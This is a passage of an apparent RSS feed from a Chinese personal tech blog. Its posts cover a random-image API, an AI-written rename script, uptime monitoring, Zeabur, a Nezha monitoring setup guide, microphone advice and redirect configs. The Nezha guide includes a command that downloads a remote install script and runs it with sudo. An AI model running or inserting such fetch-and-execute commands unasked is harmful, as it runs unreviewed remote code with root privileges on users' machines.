&lt;h1&gt;旧版实现&lt;/h1&gt;
&lt;p&gt;利用 cnb.cool 存储图片eopf做中间代理&lt;/p&gt;
&lt;h1&gt;旧旧版实现&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;在Cloudflare R2被刷了 &lt;strong&gt;7千万次（GET）请求&lt;/strong&gt; 并且扣款 &lt;strong&gt;28.08 USD（折合人民币 207.93 CNY）&lt;/strong&gt; 后废弃&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;图源全部存在 &lt;strong&gt;Cloudflare R2&lt;/strong&gt;，全部采用 &lt;strong&gt;Webp&lt;/strong&gt; 格式，仅分类为 &lt;strong&gt;横屏、竖屏&lt;/strong&gt; ，如图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-31-04-13-08-image.B9F3Mn6P.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-31-04-13-17-image.uRofEtzz.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;API就拿我正投入使用的 https://eopfapi.acofork.com/pic?img=ua 来说&lt;/p&gt;
&lt;p&gt;看域名也可以看出来，这是一个 &lt;strong&gt;EdgeOne Pages Functions&lt;/strong&gt; 服务（下文简称 &lt;strong&gt;eopf&lt;/strong&gt; ），什么？你问为什么用这个？那当然是因为！ &lt;strong&gt;目前所有功能完全免费！&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-31-04-18-45-image.CVLkaGSB.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;源码在 &lt;a href=&quot;https://github.com/afoim/EdgeOne_Function_PicAPI&quot;&gt;afoim/EdgeOne_Function_PicAPI: 适用于EdgeOne边缘函数的随机图API&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;原理为让 &lt;strong&gt;eopf&lt;/strong&gt; 连接上 &lt;strong&gt;Cloudflare R2&lt;/strong&gt; 然后随机拿一张图出来。没错！就这么简单！&lt;/p&gt;
&lt;p&gt;&lt;em&gt;上文提到的另一个CF Worker端点原理也一样，只不过CF内部连接R2就不用手搓S3鉴权了&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>记录一下批量重命名插件咋写的</title><link>https://2x.nz/posts/rename/</link><guid isPermaLink="true">https://2x.nz/posts/rename/</guid><description>因为重装系统了，一些小插件丢失了，要重写，然后又把之前的坑踩了一遍</description><pubDate>Fri, 05 Sep 2025 17:59:26 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;首先我让AI写一个批量重命名插件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;编写一个重命名的脚本（Python）
让我通过 python xxx.py (目录)
传入一个目录，然后将内部的所有文件按照 1 2 3 4 5这样重命名，保留原后缀
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后AI写出来了，但是有一个交互&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;是否要对 xxx 进行批量重命名（Y/N）：
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我就让他删掉&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;不要交互，直接运行
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后又出现了新问题，如果有一个文件，比如 &lt;code&gt;100.webp&lt;/code&gt; 已经存在，然后在Python的默认排序中，&lt;code&gt;100.webp&lt;/code&gt; 可能并不是第 &lt;strong&gt;100&lt;/strong&gt; 个，也就是说会有别的文件将要被重命名为 &lt;code&gt;100.webp&lt;/code&gt; 然后代码对于这样的文件会直接跳过，这就会导致重命名不完全&lt;/p&gt;
&lt;p&gt;那么我就说&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;不要跳过 强制重命名
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后新的问题出现了：如果已经有一个文件为 &lt;code&gt;100.webp&lt;/code&gt; 是无法将另一个文件也重命名为 &lt;code&gt;100.webp&lt;/code&gt; 的，会报错&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;重命名文件 &apos;716.webp&apos; 失败: [WinError 183] 当文件已存在时，无法创建该文件。: &apos;C:\\Users\\acofork\\Pictures\\r1\\ri\\h\\716.webp&apos; -&amp;gt; &apos;C:\\Users\\acofork\\Pictures\\r1\\ri\\h\\744.webp&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么最后，我用了一个绝妙的办法&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;将所有文件随机命名&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;重新排序&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;依次重命名&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;于是我继续说&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;先全部命名为 随机数，然后再重新命名
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这下就对了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-06-02-06-32-image.B3V28SwQ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>UptimeRobot，无需自托管的服务监控！</title><link>https://2x.nz/posts/uptimerobot/</link><guid isPermaLink="true">https://2x.nz/posts/uptimerobot/</guid><description>之前曾用过BetterStack这样的云端服务监控，但是免费计划的监控数量仅有10个，而今天推荐的这个支持高达50个！</description><pubDate>Wed, 03 Sep 2025 20:03:56 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;进入 https://dashboard.uptimerobot.com/&lt;/p&gt;
&lt;p&gt;注册一个账号，然后开始创建监控。免费计划最多&lt;strong&gt;50&lt;/strong&gt;个监控，仅支持 &lt;code&gt;HEAD&lt;/code&gt; 请求，不支持更改请求头和请求体，最低轮询冷却为 5 分钟。&lt;strong&gt;不支持 IPv6&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;然后点击 &lt;code&gt;Status pages&lt;/code&gt; 创建展示页面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-04-04-10-47-image.BA_EVaQN.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;建议设置为自动添加，这样就无需手动将监控一个个添加到页面，你的账户下每创建一个新的监控都会实时同步到你的展示页上&lt;/p&gt;
&lt;p&gt;配置完毕后， 在 &lt;code&gt;Public status page, hosted on&lt;/code&gt; 后就是你的监控展示页面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-04-04-13-19-image.DHOCfAQ-.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-04-04-15-31-image.D2Ft-yw3.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>想玩k3s？Zeabur来帮你！</title><link>https://2x.nz/posts/zeabur/</link><guid isPermaLink="true">https://2x.nz/posts/zeabur/</guid><description>Zeabur是一个PaaS服务，它可以让你将自己的服务器托管上去，然后在网页上进行管理，就像传统服务器面板一样，这些都是免费！</description><pubDate>Tue, 02 Sep 2025 22:49:16 GMT</pubDate><content:encoded>&lt;h1&gt;这是个啥？&lt;/h1&gt;
&lt;p&gt;它可以连接你的VPS（前提，CPU≥1c，RAM≥2G）。然后在你的机子上面跑服务，包括&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-03-06-54-43-5b8f9673e031a723ab2fb8a262d384d2.W7wF2igl.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;进入 &lt;a href=&quot;https://zeabur.com/servers&quot;&gt;My Servers - Zeabur&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;点击创建&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-03-06-55-36-image.CE3XRzUL.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击添加自己的服务器&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-03-06-55-47-image.D8Tg9EeD.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;阅读要求，继续&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-03-06-56-01-image.DLQlJplj.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;填写SSH连接信息，让Zeabur连接到你的服务器&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-03-06-56-30-image.BG7A69WO.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后会开始安装k3s等工具，我们将不再需要手动SSH登入服务器了，直接在Zeabur的网页上配置即可！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-03-06-57-08-image.Xbkgwvin.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来我们可以尝试部署服务，Zeabur将服务部署到你自托管的服务器是不收费的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-03-06-57-41-image.DwvhUPdw.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-03-06-57-52-image.BbevCpjS.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;请自由发挥！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-03-06-54-43-5b8f9673e031a723ab2fb8a262d384d2.W7wF2igl.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>哪吒监控搭建教程</title><link>https://2x.nz/posts/nezha/</link><guid isPermaLink="true">https://2x.nz/posts/nezha/</guid><description>想不想在上帝视角监测你的服务器？顺便再把Uptime Kuma的活也干了！</description><pubDate>Tue, 02 Sep 2025 20:58:25 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;官方教程： https://nezha.wiki/&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;安装面板端（Dashboard）&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;面板端即WebUI，同时也接受后端连接。用户和面板连接使用WebSocket，后端和面板端使用gRPC通信&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;curl -L https://raw.githubusercontent.com/nezhahq/scripts/refs/heads/main/install.sh -o nezha.sh &amp;amp;&amp;amp; chmod +x nezha.sh &amp;amp;&amp;amp; sudo ./nezha.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;默认端口为 8008&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;请指定安装命令中预设的 nezha-agent 连接地址 （例如 example.com:443）&lt;/code&gt; 填写你的 &lt;code&gt;VPS IP:8008&lt;/code&gt; 。当然，你也可以套CDN，如果套CDN则填写 &lt;code&gt;CDN域名:443&lt;/code&gt; ，请确保你的CDN支持gRPC通信。本人不推荐后端和面板通信使用CDN&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;请输入站点标题: Nezha - AcoFork
请输入暴露端口: (默认 8008)
请指定安装命令中预设的 nezha-agent 连接地址 （例如 example.com:443）46.232.60.28:8008
是否希望通过 TLS 连接 Agent？（影响安装命令）[y/N]n
请指定后台语言
1. 中文（简体）
2. 中文（台灣）
3. English
请输入选项 [1-3]1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来，你应该可以在 8008 端口进入哪吒探针的WebUI&lt;/p&gt;
&lt;p&gt;点击登录，默认账密均为 &lt;code&gt;admin&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-03-05-07-55-image.NO5hjPsl.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;首先我们先更改管理员账密，鼠标移到右上角头像，点击 &lt;code&gt;个人信息&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-03-05-08-40-image.DqtxkoOO.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后点击 &lt;code&gt;更新个人资料&lt;/code&gt; 更改管理员账密&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-03-05-09-06-image.Bi9uUecE.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;安装后端（Agent）&lt;/h1&gt;
&lt;p&gt;打开哪吒探针的WebUI，在服务器一栏可以找到安装命令，选择对应系统的，然后前往终端执行即可。稍后你将会看到一个随机名称的新服务器上线&lt;/p&gt;
&lt;p&gt;&lt;em&gt;如果你的服务器在中国大陆，可能无法连接上 &lt;code&gt;raw.githubusercontent.com&lt;/code&gt;  。推荐使用镜像 &lt;code&gt;raw.gitmirror.com&lt;/code&gt; 即可&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-03-05-10-14-image.BriHQKFO.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;配置服务&lt;/h1&gt;
&lt;p&gt;哪吒探针也支持类似UptimeKuma那种的服务监测，支持HTTP Ping TCP，具体参见导航栏的服务&lt;/p&gt;
&lt;p&gt;&lt;em&gt;这里添加的所有服务，都可以借用已添加到哪吒探针的服务器进行监测&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-03-05-15-22-image.DKa9Ul1y.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;配置通知&lt;/h1&gt;
&lt;p&gt;哪吒探针支持配置通知，以在服务宕机等情况及时通知你，详见 &lt;a href=&quot;https://nezha.wiki/guide/notifications.html&quot;&gt;通知设置 | 哪吒服务器监控&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;疑难解答&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;我套了CDN，服务器可以成功上线，但是获取到的IP为内网IP：请在系统设置中配置真实IP请求头&lt;img src=&quot;https://2x.nz/_astro/2025-09-03-05-19-32-image.DCIvktzw.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;我使用Cloudflare CDN，服务器始终无法上线。原因不明，但是可以通过部署该项目解决 &lt;a href=&quot;https://github.com/yumusb/nezha-new&quot;&gt;yumusb/nezha-new&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>给想买麦克风的朋友一些建议</title><link>https://2x.nz/posts/mic/</link><guid isPermaLink="true">https://2x.nz/posts/mic/</guid><description>这几年我折腾过不少麦克风：从几千元的舒尔、RODE，到几百元的闪克、绿联，甚至一百出头的带麦半入耳耳机。这里就结合实际体验，给大家总结一些选购时常见的坑点。</description><pubDate>Tue, 02 Sep 2025 02:34:12 GMT</pubDate><content:encoded>&lt;h1&gt;明确你的需求&lt;/h1&gt;
&lt;p&gt;你买麦克风是为了什么？是想和朋友语音时更清晰一点，还是想录歌、K 歌、录视频、做播客？&lt;/p&gt;
&lt;h1&gt;如果你只是想和朋友语音&lt;/h1&gt;
&lt;p&gt;如果你现在用的是耳机线控麦，那其实未必需要额外购入新的麦克风。直接配合 &lt;a href=&quot;https://www.nvidia.cn/geforce/broadcasting/broadcast-app/&quot;&gt;NVIDIA Broadcast App - 以 AI 助力语音和视频 | NVIDIA&lt;/a&gt; 或其他降噪软件、服务，通常就已经够用了。&lt;/p&gt;
&lt;h1&gt;想要录歌/K歌/录视频/做播客&lt;/h1&gt;
&lt;p&gt;这时候就要进一步看你的录音环境了：环境是否安静？有没有空调噪音、装修噪音，或者其他杂七杂八的背景声？&lt;/p&gt;
&lt;p&gt;如果你的录音环境做不到绝对安静，那么 &lt;strong&gt;动圈麦&lt;/strong&gt; 往往会是更合适的选择。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;电容麦&lt;/strong&gt; 和 &lt;strong&gt;动圈麦&lt;/strong&gt; 有什么区别？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;电容麦：几乎什么声音都收，包括环境噪声。它更适合愿意认真做后期的人，不太适合图省事的用户，因为很多音频都需要额外处理。不过反过来说，它的后期空间也更大，也很适合做 ASMR 这类需要放大细微声音的内容。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;动圈麦：更偏向收录中频段的人声，对环境噪声不那么敏感。在几乎不做后期的情况下，人声通常也会更饱满。优点是抗噪能力更强，缺点是离得太远时收音效果会明显下降，一般建议控制在 5~30 cm 的距离内使用。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;推荐型号：山逊 Q2U 动圈麦克风。我买的时候大约是 279 CNY，现在市场价大概在 400 CNY 左右。&lt;/p&gt;
&lt;p&gt;这款麦的缺点在于它使用的是比较老的 Mini USB 接口，而且裸机不附带支架，需要自己额外搭配桌面支架或悬臂支架。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-02-10-54-48-IMG20250902105434.xWZ_mwVQ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果你的预算更高，想进一步升级：&lt;/p&gt;
&lt;p&gt;那我会推荐舒尔 MV6。这款麦有配套 App，支持自动电平（主要是防爆音，实际体验有时好用、有时一般）。整体使用思路和上面的山逊 Q2U 差别不算特别大，但做工和配套体验会更完整一些，售价约 1349 CNY。&lt;/p&gt;
&lt;p&gt;开箱体验视频： &lt;a href=&quot;https://www.bilibili.com/video/BV1JoJqzBEyA&quot;&gt;简单开箱舒尔MV6麦克风_哔哩哔哩_bilibili&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-02-11-00-14-Screenshot_2025-09-02-10-59-56-76_4fbb30eb7b71661.BBckgD3x.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;我现在用的麦克风？&lt;/h1&gt;
&lt;p&gt;没有哪一支麦克风能完美胜任所有场景，所以我自己手头上常用的是三种不同类型的设备。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;山逊 Q2U：它曾经是我唯一的主力麦克风，我也用它录过不少视频。不过因为它通常需要搭配悬臂支架使用，而且收音范围比较窄，录音时基本得贴得很近；再加上我本人比较懒，现在一般只会在唱歌或录视频时拿出来用。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;绿联 USB MIC-CM727：音质只能算一般，但价格不到 200 CNY。它是一支电容麦，收音范围比较广，我现在更多把它当成日常使用麦克风，图的就是方便。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-02-11-07-46-IMG20250902110659.DyFLYfWt.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;全民 K 歌 KPods SE：严格来说，它更像是常规半入耳耳机加一个电容领夹麦。不过它的设计确实很巧妙，可以把麦挂在下唇附近，这样既能保证收音清晰，也不会太限制动作。缺点则是我自己还是嫌麻烦：嘴边挂个东西多少会有异物感，而且勒得太紧的话，戴久了耳朵也会不舒服。所以它一般也是我唱歌时才会拿出来用，价格大约是 109 CNY（国补后）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-02-11-07-54-IMG20250902110730.Ux4K9Jmt.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;坑点&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;不要轻易买那种必须搭配声卡的麦克风，除非你预算充足，而且确实很喜欢折腾。因为一旦买了卡农口麦克风，后面往往还要继续配声卡、监听耳机，整套下来成本会迅速上升。更麻烦的是，每次想录音时，你都得把整套设备接好、调好，再开始工作；如果你买的还是电容麦，环境又比较嘈杂，那后期处理也会非常痛苦。对大多数人来说，独立麦克风优先选 USB 麦就够了。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;我始终不太推荐普通用户单独去买高规格电容麦。因为这类设备越高端，往往越依赖录音环境。你花大价钱买回来，结果把环境噪声录得一清二楚，那体验其实并不会更好。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果你需要录歌、录视频这类需要实时监听的场景，请务必确认麦克风支持硬件级监听，也就是接近 0 延迟的那种。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;不要先买一个 3.5 mm 麦克风，再买一个 3.5 mm 耳机，最后再额外接一个双 3.5 mm 的小声卡来凑合用。真要走这种路线，还不如直接买个 Earpods 来得省事。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;不要指望游戏耳机自带的麦克风能有多好的音质。同时我也不太推荐专门购买高价游戏耳机，因为一支入门动圈麦加一个 Earpods，很多时候加起来都不到 500 块，而有些游戏耳机起步就已经上千了。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最后一点：不要上头，也不要在没有需求的情况下硬给自己创造需求。&lt;strong&gt;买一支几千块的麦克风，并不会直接提高你的唱功。&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;不要想着一支麦克风通吃所有场景。便宜的 USB 桌面麦克风（尤其是带降噪的那类）更适合打游戏时一边动来动去一边和队友聊天；而像舒尔 MV6 这种更偏高端的动圈麦，则更适合做播客、唱歌这类长时间保持固定姿势的场景。真要说“通吃”，Earpods 确实勉强算一个，但线控耳机的收音效果又高度依赖它挂在什么位置，总不能一直贴在嘴边使用。所以归根结底，还是按需求来选最实际。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>配置 Vercel.json 以支持服务器级别的重定向</title><link>https://2x.nz/posts/vercel-redirects/</link><guid isPermaLink="true">https://2x.nz/posts/vercel-redirects/</guid><description>如果你的站点（无论静态/动态）正在使用Vercel，则配置重定向是一件非常轻松的事情</description><pubDate>Mon, 01 Sep 2025 22:33:27 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;官方文档： &lt;a href=&quot;https://vercel.com/docs/redirects&quot;&gt;Redirects&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在你的仓库根目录创建 &lt;code&gt;vercel.json&lt;/code&gt; 写入重定向规则&lt;/p&gt;
&lt;p&gt;&lt;code&gt;source&lt;/code&gt; 为要重定向的路径，&lt;code&gt;destination&lt;/code&gt; 为重定向到的路径/URL，&lt;code&gt;permanent&lt;/code&gt; 为一个可选的布尔值，用于在永久重定向和临时重定向之间切换（默认为 &lt;code&gt;true&lt;/code&gt;）。当 &lt;code&gt;true&lt;/code&gt; 时，状态代码为 &lt;a href=&quot;https://developer.mozilla.org/docs/Web/HTTP/Status/308&quot;&gt;308&lt;/a&gt;。当 &lt;code&gt;false&lt;/code&gt; 时，状态代码为 &lt;a href=&quot;https://developer.mozilla.org/docs/Web/HTTP/Status/307&quot;&gt;307&lt;/a&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;redirects&quot;: [
    {
      &quot;source&quot;: &quot;/ak&quot;,
      &quot;destination&quot;: &quot;https://akile.io/register?aff_code=503fe5ea-e7c5-4d68-ae05-6de99513680e&quot;,
      &quot;permanent&quot;: false
    },
    {
      &quot;source&quot;: &quot;/kook&quot;,
      &quot;destination&quot;: &quot;https://kook.vip/K29zpT&quot;,
      &quot;permanent&quot;: false
    },
    {
      &quot;source&quot;: &quot;/long&quot;,
      &quot;destination&quot;: &quot;https://iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii.iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii.in/&quot;,
      &quot;permanent&quot;: false
    },
    {
      &quot;source&quot;: &quot;/mly&quot;,
      &quot;destination&quot;: &quot;https://muleyun.com/aff/GOTRJLPN&quot;,
      &quot;permanent&quot;: false
    },
    {
      &quot;source&quot;: &quot;/tg&quot;,
      &quot;destination&quot;: &quot;https://t.me/+_07DERp7k1ljYTc1&quot;,
      &quot;permanent&quot;: false
    },
    {
      &quot;source&quot;: &quot;/tit&quot;,
      &quot;destination&quot;: &quot;/posts/pin/&quot;,
      &quot;permanent&quot;: false
    },
    {
      &quot;source&quot;: &quot;/tly&quot;,
      &quot;destination&quot;: &quot;https://tianlicloud.cn/aff/HNNCFKGP&quot;,
      &quot;permanent&quot;: false
    },
    {
      &quot;source&quot;: &quot;/wly&quot;,
      &quot;destination&quot;: &quot;https://wl.awcmam.com/#/register?code=FNQwOQBM&quot;,
      &quot;permanent&quot;: false
    },
    {
      &quot;source&quot;: &quot;/yyb&quot;,
      &quot;destination&quot;: &quot;https://www.rainyun.com/acofork_?s=bilibili&quot;,
      &quot;permanent&quot;: false
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>利用Astrov3的原生重定向来实现各种各样的高级重定向！</title><link>https://2x.nz/posts/astrov3-redirects/</link><guid isPermaLink="true">https://2x.nz/posts/astrov3-redirects/</guid><description>曾经，我使用Cloudflare Pages Redirects来实现我的个人短链重定向，而现在我发现我可以直接将它集成到我的Astro博客</description><pubDate>Mon, 01 Sep 2025 21:56:19 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;Astro v3 正式支持了原生的重定向 &lt;a href=&quot;https://docs.astro.js.cn/en/guides/routing/#configured-redirects&quot;&gt;路由 | 文档 - Astro 文档&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;仅需在 &lt;code&gt;astro.config.mjs&lt;/code&gt; 中添加如下代码，示例代码将 &lt;code&gt;/tit&lt;/code&gt; 的请求 302 重定向到 &lt;code&gt;/posts/pin&lt;/code&gt; 。可以配置多行重定向规则&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { defineConfig } from &quot;astro/config&quot;;

export default defineConfig({
  redirects: {
    &quot;/tit&quot;: {
        destination: &quot;/posts/pin/&quot;,
        status: 302,
    },
  }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有的小伙伴就会问了，如果我的Astro输出模式为SSG？那Astro的重定向是不是不支持 &lt;code&gt;location&lt;/code&gt; 重定向？仅支持 &lt;code&gt;HTML&lt;/code&gt; 重定向？&lt;/p&gt;
&lt;p&gt;的确，在不对构建服务商进行额外配置的情况下，Astro会使用兼容模式，创建 &lt;code&gt;HTML&lt;/code&gt; 重定向，你可以尝试安装适配器来支持重定向，但需要注意 &lt;strong&gt;并不是所有适配器都会透传Astro中设置的重定向规则&lt;/strong&gt; ，始终建议使用您构建服务商提供的重定向服务，参见： &lt;a href=&quot;/posts/vercel-redirects/&quot;&gt;配置 Vercel.json 以支持服务器级别的重定向&lt;/a&gt;。如配置 &lt;code&gt;vercel.json&lt;/code&gt; 。关于 Astro 适配器的更多信息，参见 &lt;a href=&quot;https://docs.astro.build/zh-cn/reference/configuration-reference/#adapter&quot;&gt;配置参考 | Docs&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>Google最新的AI生图模型 Nano Banana！立绘转真人！一键P图！</title><link>https://2x.nz/posts/gemini-nano-banana/</link><guid isPermaLink="true">https://2x.nz/posts/gemini-nano-banana/</guid><description>哎我造了村里孩子吃上城里货了，这你扯不扯，这AI生图方便好，无需部署不费脑，大口大口使劲造，鼻歪眼斜使劲笑</description><pubDate>Mon, 01 Sep 2025 08:25:34 GMT</pubDate><content:encoded>&lt;h1&gt;快速上手&lt;/h1&gt;
&lt;p&gt;进入 &lt;a href=&quot;https://aistudio.google.com/prompts/new_chat&quot;&gt;Google AI Studio&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;粘贴一张图，说出你想要的更改&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-09-01-16-33-14-1dc081b4dcb4eb99fd68c1d97322517a.DfEMumMP.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;立绘转真人COS&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;Prompt：Generate a highly detailed photo of&lt;/p&gt;
&lt;p&gt;a girl cosplaying this illustration, at Comiket.&lt;/p&gt;
&lt;p&gt;Exactly replicate the same pose, body posture,&lt;/p&gt;
&lt;p&gt;hand gestures, facial expression, and camera&lt;/p&gt;
&lt;p&gt;framing as in the original llustration. Keep the&lt;/p&gt;
&lt;p&gt;same angle, perspective, and composition,&lt;/p&gt;
&lt;p&gt;without any deviation&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;注意：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;立绘最好为纯色背景，人物主体完整&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
